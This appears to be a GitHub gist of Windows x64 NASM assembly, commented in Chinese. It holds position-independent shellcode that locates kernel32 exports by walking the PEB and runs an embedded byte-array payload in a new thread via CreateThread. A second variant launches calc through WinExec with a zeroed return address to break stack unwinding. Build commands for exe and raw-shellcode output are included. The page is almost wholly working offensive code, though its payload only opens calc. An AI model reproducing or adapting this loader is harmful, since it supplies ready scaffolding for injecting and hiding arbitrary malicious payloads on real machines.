Skip to content

Instantly share code, notes, and snippets.

@0xlane
Last active October 25, 2024 11:18
Show Gist options
  • Select an option

  • Save 0xlane/2557075f339609339bd26889139db241 to your computer and use it in GitHub Desktop.

Select an option

Save 0xlane/2557075f339609339bd26889139db241 to your computer and use it in GitHub Desktop.
nasm -f win64 shellcode_create_thread.asm -o shellcode_create_thread.obj
section .text
global _start
_start:
; 保存堆栈状态
sub rsp, 0x8
push rbp
mov rbp, rsp
push rax
push rcx
push rdx
push r8
push r9
sub rsp, 0x10 ; 对齐和分配参数空间
mov rcx, 0 ; lpThreadAttributes = NULL
mov rdx, 0 ; dwStackSize = 0 (默认大小)
lea r8, [rel shellcode] ; lpStartAddress = shellcode
mov r9, 0 ; lpParameter = NULL
mov dword [rsp + 0x10], 0 ; dwCreationFlags = 0
mov qword [rsp + 0x8], 0 ; lpThreadId = NULL
call CreateThread
add rsp, 0x10
; 调用 WaitForSingleObject 等待线程结束
mov rcx, rax ; 将线程句柄传递到 rcx (第一个参数)
mov rdx, 0xFFFFFFFF ; dwMilliseconds = INFINITE (第二个参数)
call WaitForSingleObject
%ifndef FUNC
; ExitProcess/ExitThread
xor rcx, rcx ; uExitCode = 0
%ifdef EXIT_THREAD
call ExitThread
%else
call ExitProcess
%endif
%endif
; 还原堆栈状态
pop r9
pop r8
pop rdx
pop rcx
pop rax
mov rsp, rbp
pop rbp
add rsp, 0x8
RET
CreateThread:
push rbp
mov rbp, rsp
push rcx
push rdx
push r11
push r12
mov r11, [rsp + 0x48 + 0x8]
mov r12d, dword [rsp + 0x48 + 0x10]
; ----------------start find CreateThread -------------
push rcx
push rdx
mov rcx, 0x6854657461657243 ; CreateTh
mov dx, 0x6572 ; er
call get_func_address
pop rdx
pop rcx
; ----------------end find CreateThread -------------
; 调用CreateThread
sub rsp, 0x20 ; 影子参数空间(win64 调用约定)
sub rsp, 0x10 ; 对齐和分配参数空间
mov dword [rsp + 0x20], r12d ; dwCreationFlags
mov qword [rsp + 0x28], r11 ; lpThreadId
call rax ; 调用CreateThread
add rsp, 0x30 ; 清理堆栈
pop r12
pop r11
pop rdx
pop rcx
mov rsp, rbp
pop rbp
RET
WaitForSingleObject:
push rbp
mov rbp, rsp
; ----------------start find WaitForSingleObject -------------
push rcx
push rdx
mov rcx, 0x53726f4674696157 ; WaitForS
mov dx, 0x6e69 ; in
call get_func_address
pop rdx
pop rcx
; ----------------end find WaitForSingleObject -------------
; 调用WaitForSingleObject
call rax ; 调用WaitForSingleObject
mov rsp, rbp
pop rbp
RET
ExitProcess:
push rbp
mov rbp, rsp
; ----------------start find ExitProcess -------------
push rcx
push rdx
mov rcx, 0x636f725074697845 ; ExitProc
mov dx, 0x7365 ; es
call get_func_address
pop rdx
pop rcx
; ----------------end find ExitProcess -------------
; 调用ExitProcess
call rax ; 调用ExitProcess
mov rsp, rbp
pop rbp
RET
ExitThread:
push rbp
mov rbp, rsp
; ----------------start find ExitThread -------------
push rcx
push rdx
mov rcx, 0x6572685474697845 ; ExitThre
mov dx, 0x6461 ; ad
call get_func_address
pop rdx
pop rcx
; ----------------end find ExitThread -------------
; 调用ExitThread
call rax ; 调用ExitThread
mov rsp, rbp
pop rbp
RET
get_func_address:
; 保存堆栈状态
sub rsp, 0x8
push rbp
mov rbp, rsp
push rcx
push rdx
push r8
push r9
push r10
push r11
push r12
push r14
push rsi
mov r12, rcx
mov bx, dx
; 获取PEB地址 (在x64中,PEB地址保存在gs寄存器的偏移0x60处)
mov rdx, gs:[0x60] ; RDX = PEB
; 解析PEB中的Ldr(PEB_LDR_DATA)
mov rdx, [rdx + 0x18] ; RDX = PEB->Ldr
mov rdx, [rdx + 0x10] ; RDX = InLoadOrderLinks (第一个模块,通常是进程本身)
mov rdx, [rdx] ; RDX = 下一个模块,通常是ntdll.dll
mov rdx, [rdx] ; RDX = 下一个模块,通常是kernel32.dll
mov rdx, [rdx + 0x30] ; rdi = kernel32.dll的基址
; 查找kernel32.dll中的导出表
mov r8d, dword [rdx + 0x3C] ; 获取PE偏移
add r8, rdx ; R8 = PE Header地址
mov eax, [r8 + 0x88] ; EAX = Export Directory RVA
add rax, rdx ; RAX = Export Directory地址
; 查找函数名表、函数地址表、序号表
mov r9d, dword [rax + 0x20] ; R9D = AddressOfNames RVA
add r9, rdx ; R9 = AddressOfNames
mov r10d, dword [rax + 0x24] ; R10D = AddressOfNameOrdinals RVA
add r10, rdx ; R10 = AddressOfNameOrdinals
mov r11d, dword [rax + 0x1c] ; R11D = AddressOfFunctions RVA
add r11, rdx ; R11 = AddressOfFunctions
find_function_1:
; 遍历函数名表
mov esi, dword [r9] ; RSI = 函数名RVA
add rsi, rdx ; RSI = 函数名地址
mov rcx, r12 ; 函数名开头8字节的倒序
cmp qword [rsi], rcx ; 比较前8字节
jne next_function_1
cmp word [rsi + 8], bx ; 比较后2字节
je function_found_1
next_function_1:
add r9, 4 ; 下一个函数名
add r10, 2 ; 下一个序号
jmp find_function_1
function_found_1:
; 获取函数的序号,并根据序号获取函数地址
movzx ecx, word [r10] ; ECX = 函数序号
mov r14d, [r11 + rcx * 4] ; EAX = 函数地址RVA
add r14, rdx ; R14 = API的实际地址
mov rax, r14
; 还原堆栈状态
pop rsi
pop r14
pop r12
pop r11
pop r10
pop r9
pop r8
pop rdx
pop rcx
mov rsp, rbp
pop rbp
add rsp, 0x8
RET
ret
shellcode db 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x54, 0x58, 0x66, 0x83, 0xe4,0xf0, 0x50, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59,0x48, 0x29, 0xd4, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48,0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30,0x03, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48,0x01, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0x0f, 0xb7, 0x2c, 0x17, 0x8d, 0x52,0x02, 0xad, 0x81, 0x3c, 0x07, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b,0x74, 0x1f, 0x1c, 0x48, 0x01, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x01, 0xf7,0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x68, 0x5c, 0x5d, 0x5f, 0x5e, 0x5b,0x5a, 0x59, 0x58, 0xc3
section .text
global _start
_start:
; 保存堆栈状态
sub rsp, 0x8
push rbp
mov rbp, rsp
push rax
push rcx
push rdx
push r8
push r9
call __smash_exec_calc
%ifndef FUNC
; ExitProcess/ExitThread
xor rcx, rcx ; uExitCode = 0
%ifdef EXIT_THREAD
call ExitThread
%else
call ExitProcess
%endif
%endif
; 还原堆栈状态
pop r9
pop r8
pop rdx
pop rcx
pop rax
mov rsp, rbp
pop rbp
add rsp, 0x8
RET
__smash_exec_calc:
sub rsp, 0x8
; ----------------start find WinExec -------------
push rcx
push rdx
mov rcx, 0x00636578456e6957 ; WinExec
mov dx, 0x0
call get_func_address
pop rdx
pop rcx
; ----------------end find WinExec -------------
mov r10, rax
push 0x0
push 0x0000636c6163 ; calc\0\0\0\0
mov rcx, rsp ; 第1个参数 lpCmdLine = &(calc)
mov rdx, 0x0 ; 第2个参数 uCmdShow = SW_HIDE
sub rsp, 0x20
sub rsp, 0x8
mov qword [rsp], 0x0 ; Return Address = 0x0, break stack unwinding
jmp r10 ; call WinExec
add rsp, 0x30
add rsp, 0x8
RET
ExitProcess:
push rbp
mov rbp, rsp
; ----------------start find ExitProcess -------------
push rcx
push rdx
mov rcx, 0x636f725074697845 ; ExitProc
mov dx, 0x7365 ; es
call get_func_address
pop rdx
pop rcx
; ----------------end find ExitProcess -------------
; 调用ExitProcess
call rax ; 调用ExitProcess
mov rsp, rbp
pop rbp
RET
ExitThread:
push rbp
mov rbp, rsp
; ----------------start find ExitThread -------------
push rcx
push rdx
mov rcx, 0x6572685474697845 ; ExitThre
mov dx, 0x6461 ; ad
call get_func_address
pop rdx
pop rcx
; ----------------end find ExitThread -------------
; 调用ExitThread
call rax ; 调用ExitThread
mov rsp, rbp
pop rbp
RET
get_func_address:
; 保存堆栈状态
sub rsp, 0x8
push rbp
mov rbp, rsp
push rcx
push rdx
push r8
push r9
push r10
push r11
push r12
push r14
push rsi
mov r12, rcx
mov bx, dx
; 获取PEB地址 (在x64中,PEB地址保存在gs寄存器的偏移0x60处)
mov rdx, gs:[0x60] ; RDX = PEB
; 解析PEB中的Ldr(PEB_LDR_DATA)
mov rdx, [rdx + 0x18] ; RDX = PEB->Ldr
mov rdx, [rdx + 0x10] ; RDX = InLoadOrderLinks (第一个模块,通常是进程本身)
mov rdx, [rdx] ; RDX = 下一个模块,通常是ntdll.dll
mov rdx, [rdx] ; RDX = 下一个模块,通常是kernel32.dll
mov rdx, [rdx + 0x30] ; rdi = kernel32.dll的基址
; 查找kernel32.dll中的导出表
mov r8d, dword [rdx + 0x3C] ; 获取PE偏移
add r8, rdx ; R8 = PE Header地址
mov eax, [r8 + 0x88] ; EAX = Export Directory RVA
add rax, rdx ; RAX = Export Directory地址
; 查找函数名表、函数地址表、序号表
mov r9d, dword [rax + 0x20] ; R9D = AddressOfNames RVA
add r9, rdx ; R9 = AddressOfNames
mov r10d, dword [rax + 0x24] ; R10D = AddressOfNameOrdinals RVA
add r10, rdx ; R10 = AddressOfNameOrdinals
mov r11d, dword [rax + 0x1c] ; R11D = AddressOfFunctions RVA
add r11, rdx ; R11 = AddressOfFunctions
find_function_1:
; 遍历函数名表
mov esi, dword [r9] ; RSI = 函数名RVA
add rsi, rdx ; RSI = 函数名地址
mov rcx, r12 ; 函数名开头8字节的倒序
cmp qword [rsi], rcx ; 比较前8字节
jne next_function_1
test bx, bx
je function_found_1
cmp word [rsi + 8], bx ; 比较后2字节
je function_found_1
next_function_1:
add r9, 4 ; 下一个函数名
add r10, 2 ; 下一个序号
jmp find_function_1
function_found_1:
; 获取函数的序号,并根据序号获取函数地址
movzx ecx, word [r10] ; ECX = 函数序号
mov r14d, [r11 + rcx * 4] ; EAX = 函数地址RVA
add r14, rdx ; R14 = API的实际地址
mov rax, r14
; 还原堆栈状态
pop rsi
pop r14
pop r12
pop r11
pop r10
pop r9
pop r8
pop rdx
pop rcx
mov rsp, rbp
pop rbp
add rsp, 0x8
RET
ret
@0xlane
Copy link
Author

0xlane commented Oct 21, 2024

As exe

nasm -f win64 shellcode_create_thread.asm -o shellcode_create_thread.obj
link shellcode_create_thread.obj /OUT:shellcode_create_thread.exe /SUBSYSTEM:CONSOLE /ENTRY:_start

As shellcode with ExitThread

nasm -f win64 -DEXIT_THREAD shellcode_create_thread.asm -o shellcode_create_thread.obj

As shellcode with func

nasm -f win64 -DFUNC shellcode_create_thread.asm -o shellcode_create_thread.obj

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment